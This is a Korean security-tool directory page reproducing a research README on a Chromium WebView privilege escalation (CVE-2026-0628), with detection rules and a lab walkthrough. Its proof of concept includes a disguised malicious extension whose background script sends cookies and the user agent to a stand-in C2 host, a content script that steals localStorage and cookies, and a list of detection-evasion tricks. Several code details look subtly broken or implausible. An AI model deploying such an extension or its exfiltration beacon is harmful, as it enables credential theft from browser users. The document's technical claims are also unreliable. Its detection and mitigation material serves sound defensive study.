Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation — CVE-2026-0628(Chromium WebView 권한 상승 취약점)에 대한 기술적 분석으로, 근본 원인 분석, PoC 익스플로잇, 탐지 규칙 및 완화 전략을 포함합니다. | Kitploit
도구/GitHubGitHub/sastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation
Privilege EscalationVulnerability AnalysisExploitationWeb SecurityMalware AnalysisDigital Forensics
GitHubsastraadiwiguna-purpleeliteteaming/dissecting-cve-2026-0628-chromium-extension-privilege-escalation

Dissecting-CVE-2026-0628-Chromium-Extension-Privilege-Escalation

CVE-2026-0628(Chromium WebView 권한 상승 취약점)에 대한 기술적 분석으로, 근본 원인 분석, PoC 익스플로잇, 탐지 규칙 및 완화 전략을 포함합니다.

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기웹사이트
16개월 전아직 검토되지 않음

DOI = doi.org/10.5281/zenodo.18413764

ORCID = orcid.org/0009-0007-7728-256X

root@kitploit:~

README.md


# **CVE-2026-0628: Chromium WebView 권한 상승 (Origin Spoofing) – 기술 연구 및 개념 증명**

**저자:** Sastra Adi Wiguna (Purple Elite Teaming)
**연구 날짜:** 2026년 1월
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8 (높음)
**영향 버전:** Chromium < 143.0.7499.192
**패치 상태:** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139에서 패치됨

---

## **1. 개요**

### **1.1 연구 목적**
이 저장소는 Chromium의 WebView 정책 적용 메커니즘에서 발생하는 **고위험 권한 상승 취약점**인 **CVE-2026-0628**을 문서화합니다. 이 취약점으로 인해 악성 확장 프로그램이 **샌드박스 제한을 우회**하고, **권한 있는 컨텍스트**(예: `chrome://`)에 스크립트를 주입하며, 임의 코드를 실행하기 위해 **권한을 상승**시킬 수 있습니다.

이 연구는 **방어적 보안 목적으로만** 사용됩니다:
- **취약점 분석**
- **탐지 엔지니어링**
- **완화 전략 개발**
- **침투 테스트(승인된 환경에서만)**

### **1.2 면책 조항**
- **학술 및 방어적 연구 전용입니다.**
- **승인 없이 프로덕션 시스템에 사용하지 마십시오.**
- **모든 관련 법률 및 조직 보안 정책을 준수하십시오.**
- **즉시 패치하십시오:** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139.

---

## **2. 기술 분석**

### **2.1 근본 원인**
Chromium의 WebView 구현에서 **불충분한 정책 적용**으로 인해 확장 프로그램이 **샌드박스 경계를 벗어나** **권한 있는 DOM 컨텍스트**에 접근할 수 있습니다.

**취약한 흐름:**
1. 악성 확장 프로그램이 `manifest.json`에서 WebView 사용을 선언합니다.
2. 확장 프로그램이 `<webview>` 태그를 통해 조작된 HTML/JS 페이로드를 주입합니다.
3. **WebView 정책 검증 우회** → 권한 있는 페이지(예: `chrome://settings`)에 접근.
4. 권한 있는 컨텍스트에서 **임의 스크립트 실행**.

**CVSS 벡터:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`

### **2.2 익스플로잇 아키텍처**
#### **악성 확장 프로그램 템플릿**
```json
{
  "manifest_version": 3,
  "name": "Legitimate Extension",
  "version": "1.0",
  "webview": {
    "src": "chrome://new-tab-page/",
    "plugins": {}
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["payload.js"]
  }]
}

핵심 주입 벡터 (payload.js)

root@kitploit:~
class WebViewExploiter {
  constructor() {
    this.privilegedTargets = [
      'chrome://new-tab-page/',
      'chrome-extension://background/',
      'chrome://settings/'
    ];
  }
  injectPayload(targetURL) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', targetURL);
    webview.setAttribute('nodeintegration', ''); // 핵심 우회 매개변수
    webview.addEventListener('dom-ready', () => {
      webview.executeScript({
        code: `
          window.chrome = window.chrome || {};
          chrome.runtime.sendMessage({action: 'steal_data'});
          document.body.innerHTML = '';
        `
      });
    });
    document.body.appendChild(webview);
  }
}

3. 영향 평가


4. 탐지 및 포렌식

4.1 악성 확장 프로그램용 YARA 규칙

root@kitploit:~
rule CVE_2026_0628_WebView_Exploiter {
  meta:
    description = "Detects CVE-2026-0628 WebView exploit patterns"
    severity = "high"
  strings:
    $webview_abuse = "webview.*(nodeintegration|allowpopups)"
    $chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
    $inject_sig = /(executeScript|getURL|sendMessage)/
  condition:
    all of ($*) and filesize < 500KB
}

4.2 Sysmon 이벤트 시그니처

  • 이벤트 ID 1: chrome.exe → 의심스러운 WebView 생성.
  • 이벤트 ID 3: 네트워크 연결 → 확장 프로그램 → 외부 C2.
  • 레지스트리: HKCU\Software\Google\Chrome\Extensions\[malicious_id].

5. 패치 분석 및 우회 벡터

5.1 수정된 버전 차이 (Chrome 143.0.7499.192+)

root@kitploit:~
// 취약한 버전 (143.0.7499.192 이전)
if (webview.src.startsWith('chrome://')) {
  return false; // 약한 정책 검사
}

// 패치된 버전
function validateWebViewPolicy(webview) {
  if (!isExtensionTrusted(webview.extensionId)) {
    throw new SecurityError('Extension not privileged');
  }
  if (webview.attributes.includes('nodeintegration')) {
    enforceStrictCSP(); // Content-Security-Policy 강화
  }
}

5.2 완화 구현

엔터프라이즈 GPO 템플릿

root@kitploit:~
{
  "ExtensionInstallBlacklist": ["malicious_extension_id*"],
  "ExtensionInstallForcelist": [],
  "WebViewRestrictions": {
    "DisableWebView": true,
    "BlockNodeIntegration": true
  }
}

런타임 탐지 스크립트 (PowerShell)

root@kitploit:~
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
  $extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
  Get-ChildItem $extPath | Where {
    (Get-Content "$_\manifest.json" | Select-String "webview") -and
    (Get-Content "$_\manifest.json" | Select-String "chrome://")
  }
}

6. 개념 증명 (PoC) 익스플로잇

6.1 디렉터리 구조

root@kitploit:~
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html

6.2 핵심 파일

manifest.json (우회 매니페스트)

root@kitploit:~
{
  "manifest_version": 3,
  "name": "WebView Helper Tool",
  "version": "1.0",
  "permissions": ["activeTab", "storage", "tabs"],
  "host_permissions": ["<all_urls>", "chrome://*/*"],
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [{
    "matches": ["<all_urls>"],
    "js": ["content.js"],
    "run_at": "document_start"
  }],
  "action": {
    "default_popup": "popup.html"
  },
  "web_accessible_resources": [{
    "resources": ["inject.js"],
    "matches": ["<all_urls>"]
  }]
}

background.js (지속성 및 C2 비콘)

root@kitploit:~
chrome.runtime.onInstalled.addListener(() => {
  console.log('CVE-2026-0628 PoC Installed');
  setTimeout(initExploitation, 5000);
});

async function initExploitation() {
  fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
    method: 'POST',
    body: JSON.stringify({
      victim: navigator.userAgent,
      cookies: await getAllCookies()
    })
  }).catch(() => {});
  chrome.tabs.onUpdated.addListener(exploitTab);
}

content.js (WebView 트리거 및 주입)

root@kitploit:~
(function() {
  const privilegedTargets = [
    'chrome://new-tab-page/',
    'chrome://settings/',
    'chrome://extensions/'
  ];
  function createMaliciousWebView(target) {
    const webview = document.createElement('webview');
    webview.setAttribute('src', target);
    webview.setAttribute('allowpopups', '');
    webview.addEventListener('dom-ready', () => {
      chrome.scripting.executeScript({
        target: {tabId: getCurrentTabId()},
        func: stealPrivilegedData
      });
    });
    document.body.appendChild(webview);
  }
  function stealPrivilegedData() {
    return {
      localStorage: Object.fromEntries(Object.entries(localStorage)),
      cookies: document.cookie,
      extensions: chrome.runtime.getManifest?.()
    };
  }
  setTimeout(() => {
    createMaliciousWebView('chrome://new-tab-page/');
  }, 1000);
})();

7. 실험실 재현

7.1 요구 사항

  • 취약한 Chrome: 143.0.7499.191
  • OS: Windows 10/11 (VM 권장)
  • 도구: Burp Suite (프록시), REMnux (포렌식)

7.2 절차

  1. Chrome 143.0.7499.191 다운로드 (취약한 버전).
  2. 플래그와 함께 실행:
    root@kitploit:~
    chrome.exe --disable-web-security --user-data-dir=/tmp/vuln
    
  3. 확장 프로그램 로드:
    • chrome://extensions/로 이동.
    • 개발자 모드 활성화.
    • 압축 해제된 확장 프로그램 로드 클릭 → cve-2026-0628-poc/ 선택.
  4. 익스플로잇 트리거:
    • chrome://new-tab-page/로 이동.
    • DevTools에서 WebView 생성 관찰.
  5. 트래픽 모니터링:
    • Burp Suite (localhost:8080) → C2로의 데이터 유출 캡처.
  6. 성공 확인:
    • 네트워크 탭 → your-c2-server.com으로 비콘.
    • 콘솔: "CVE-2026-0628 OWNED".

8. 탐지 회피 기법

  • 스테가노그래피: 이미지 픽셀에 데이터 유출 인코딩.
  • 도메인 생성 알고리즘: C2 순환을 위한 DGA.
  • 타이밍 공격: 설치 후 5-30초 지연 실행.
  • 매니페스트 난독화: 민감한 문자열을 Base64로 인코딩.

9. 완화 및 패치 워크플로우

  • 즉시 조치: Chrome/Edge를 패치된 버전으로 업데이트.
  • 엔터프라이즈 GPO:
    root@kitploit:~
    {
      "ExtensionInstallBlacklist": ["*"],
      "WebViewRestrictions": {
        "DisableWebView": true,
        "BlockNodeIntegration": true
      }
    }
    
  • 런타임 탐지:
    root@kitploit:~
    # 악성 확장 프로그램 검색
    Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" |
      Where { (Get-Content "$_\manifest.json" | Select-String "webview") }
    

10. 포렌식 분석

10.1 Volatility3 명령어

root@kitploit:~
volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/

10.2 메모리 덤프용 YARA 규칙

root@kitploit:~
rule CVE_2026_0628_Mojo_Origin_Spoof {
  strings:
    $mojo_hdr = { 4D 6F 6A 6F }
    $chrome_origin = "chrome://new-tab-page/"
    $webview_sig = "WebViewPolicyValidator"
  condition:
    all of them
}

11. 결론

11.1 주요 발견 사항

  • CVE-2026-0628은 WebView 정책 우회를 통해 권한 상승을 가능하게 합니다.
  • 영향: 세션 하이재킹, 자격 증명 도용, 측면 이동.
  • 완화: Chrome/Edge 패치, GPO 제한 적용, 악성 확장 프로그램 모니터링.

11.2 권장 사항

  • 즉시 패치하여 Chrome ≥143.0.7499.192 또는 Edge ≥143.0.3650.139로 업데이트.
  • 탐지를 위한 YARA/Sysmon 규칙 배포.
  • 엔터프라이즈 GPO를 통한 확장 프로그램 제한.
  • 방어 체계 검증을 위한 레드 팀 훈련 실시.

12. 법적 및 윤리적 고려 사항

  • 승인된 사용만 허용됩니다.
  • 명시적 허가 없이 프로덕션 환경에 배포하지 마십시오.
  • 취약점을 공급업체에 책임감 있게 보고하십시오.

연락처: 방어적 보안 관련 질문은 GitHub Issues를 통해 저자에게 문의하십시오.


© 2026 Sastra Adi Wiguna. All rights reserved.

root@kitploit:~
도구 다운로드
공격 단계기술적 영향비즈니스 영향CVSS 지표
확장 프로그램 설치사용자 동의 → 지속성사회 공학 벡터UI:R (필요)
WebView 우회샌드박스 탈출 → 권한 있는 컨텍스트세션 하이재킹S:U → C:H/I:H/A:H
스크립트 주입DOM 조작 → 데이터 유출자격 증명 도용PR:N (권한 없음)
지속성백그라운드 스크립트 → C2 비콘측면 이동 준비AC:L (낮은 복잡도)